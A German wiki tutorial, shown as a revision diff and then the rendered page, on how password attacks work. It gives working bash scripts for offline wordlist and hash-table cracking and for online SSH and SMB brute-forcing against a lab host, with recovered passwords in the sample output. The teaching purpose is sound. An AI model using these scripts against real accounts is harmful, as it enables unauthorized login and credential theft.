Passwort Angriffe Prinzip: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
=Normale Hack=
+
=Offline gegen Hash=
 +
Offline-Angriff gegen einen einzelnen Hash. Jedes Wort der Liste wird zur Laufzeit gehasht und mit dem Ziel-Hash verglichen — langsam, da pro Versuch ein sha256sum läuft.
 +
 
 
*wget https://xinux.de/downloads/bad-passwords
 
*wget https://xinux.de/downloads/bad-passwords
*cat pw-crack-offline.sh  
+
*cat pw-crack-offline.sh
 
<syntaxhighlight lang="bash">
 
<syntaxhighlight lang="bash">
 
#!/bin/bash
 
#!/bin/bash
Zeile 15: Zeile 17:
 
done < $2
 
done < $2
 
</syntaxhighlight>
 
</syntaxhighlight>
* ./pw-crack-offline.sh cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords
+
*./pw-crack-offline.sh cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords
 
  Treffer: whatever
 
  Treffer: whatever
  
=Hash Tabelle=
+
=Hash-Tabelle=
 +
Die Hashes liegen vorberechnet als Tabelle vor (Format passwort:hash). Der Angriff vergleicht nur noch und spart sich das Hashen pro Durchlauf — schneller, dafür muss die Tabelle vorher erzeugt werden.
 +
 
 
*wget https://xinux.de/downloads/bad-passwords.hash
 
*wget https://xinux.de/downloads/bad-passwords.hash
 
*cat pw-crack-offline-hash.sh
 
*cat pw-crack-offline-hash.sh
 
<syntaxhighlight lang="bash">
 
<syntaxhighlight lang="bash">
#!/bin/bash
 
 
#!/bin/bash
 
#!/bin/bash
 
HASH=$1
 
HASH=$1
 
while read LINE
 
while read LINE
 
do
 
do
  PW_HS=$(echo $LINE | cut -f 2 -d :)
+
PW_HS=$(echo $LINE | cut -f 2 -d :)
  if [[ $PW_HS == $HASH ]]
+
if [[ $PW_HS == $HASH ]]
 
   then
 
   then
 
     PW=$(echo $LINE | cut -f 1 -d :)
 
     PW=$(echo $LINE | cut -f 1 -d :)
 
     echo "Treffer: $PW"
 
     echo "Treffer: $PW"
 
     exit
 
     exit
 
+
  fi
  fi  
 
 
done < $2
 
done < $2
 
</syntaxhighlight>
 
</syntaxhighlight>
*./pw-crack-offline-hash.sh ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d       bad-passwords.hash  
+
*./pw-crack-offline-hash.sh ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d bad-passwords.hash
 
  Treffer: lovely
 
  Treffer: lovely
  
=ssh hack=
+
=SSH-Hack=
 +
Online-Angriff: kein Hash, sondern es wird live gegen den Dienst angemeldet. Jeder Versuch erzeugt Netzwerkverkehr und taucht im Log auf — laut und langsam.
 +
 
 
*sudo apt install sshpass
 
*sudo apt install sshpass
 
*cat ssh-pass-hack.sh
 
*cat ssh-pass-hack.sh
Zeile 58: Zeile 62:
 
done < "$WORTLISTE"
 
done < "$WORTLISTE"
 
</syntaxhighlight>
 
</syntaxhighlight>
./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords
+
*./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords
 
  Treffer: martha:basketball
 
  Treffer: martha:basketball
=ssh hack=
+
 
 +
=SMB-Hack=
 +
Wie der SSH-Hack, nur gegen den SMB-Dienst. Gleiche Logik, anderer Dienst.
 +
 
 
*cat smb-pass-hack.sh
 
*cat smb-pass-hack.sh
 
<syntaxhighlight lang="bash">
 
<syntaxhighlight lang="bash">
Zeile 77: Zeile 84:
 
done < "$WORTLISTE"
 
done < "$WORTLISTE"
 
</syntaxhighlight>
 
</syntaxhighlight>
./smb-pass-hack.sh 192.168.16.213 martha bad-passwords
+
*./smb-pass-hack.sh 192.168.16.213 martha bad-passwords
 
  Treffer: martha:basketball
 
  Treffer: martha:basketball

Version vom 25. Juni 2026, 04:52 Uhr

Offline gegen Hash

Offline-Angriff gegen einen einzelnen Hash. Jedes Wort der Liste wird zur Laufzeit gehasht und mit dem Ziel-Hash verglichen — langsam, da pro Versuch ein sha256sum läuft.

#!/bin/bash
HASH=$1
while read LINE
do
 PW_HS=$(echo $LINE | sha256sum | cut -f 1 -d " ")
 if [[ $PW_HS == $HASH ]]
   then
      echo "Treffer: $LINE"
    exit
 fi
done < $2
  • ./pw-crack-offline.sh cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords
Treffer: whatever

Hash-Tabelle

Die Hashes liegen vorberechnet als Tabelle vor (Format passwort:hash). Der Angriff vergleicht nur noch und spart sich das Hashen pro Durchlauf — schneller, dafür muss die Tabelle vorher erzeugt werden.

#!/bin/bash
HASH=$1
while read LINE
do
 PW_HS=$(echo $LINE | cut -f 2 -d :)
 if [[ $PW_HS == $HASH ]]
   then
     PW=$(echo $LINE | cut -f 1 -d :)
     echo "Treffer: $PW"
    exit
 fi
done < $2
  • ./pw-crack-offline-hash.sh ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d bad-passwords.hash
Treffer: lovely

SSH-Hack

Online-Angriff: kein Hash, sondern es wird live gegen den Dienst angemeldet. Jeder Versuch erzeugt Netzwerkverkehr und taucht im Log auf — laut und langsam.

  • sudo apt install sshpass
  • cat ssh-pass-hack.sh
#!/bin/bash
# einfaches SSH-PW-Brute wie hydra (Lab)
HOST=$1
USER=$2
WORTLISTE=$3
while read PW
do
 if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" "exit" 2>/dev/null
   then
      echo "Treffer: $USER:$PW"
      exit
 fi
done < "$WORTLISTE"
  • ./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball

SMB-Hack

Wie der SSH-Hack, nur gegen den SMB-Dienst. Gleiche Logik, anderer Dienst.

  • cat smb-pass-hack.sh
#!/bin/bash
# einfaches SMB-PW-Brute wie hydra (Lab)
HOST=$1
USER=$2
WORTLISTE=$3
while read PW
do
 if smbclient -L "//$HOST" -U "$USER%$PW" -m SMB3 2>/dev/null >/dev/null
   then
      echo "Treffer: $USER:$PW"
      exit
 fi
done < "$WORTLISTE"
  • ./smb-pass-hack.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball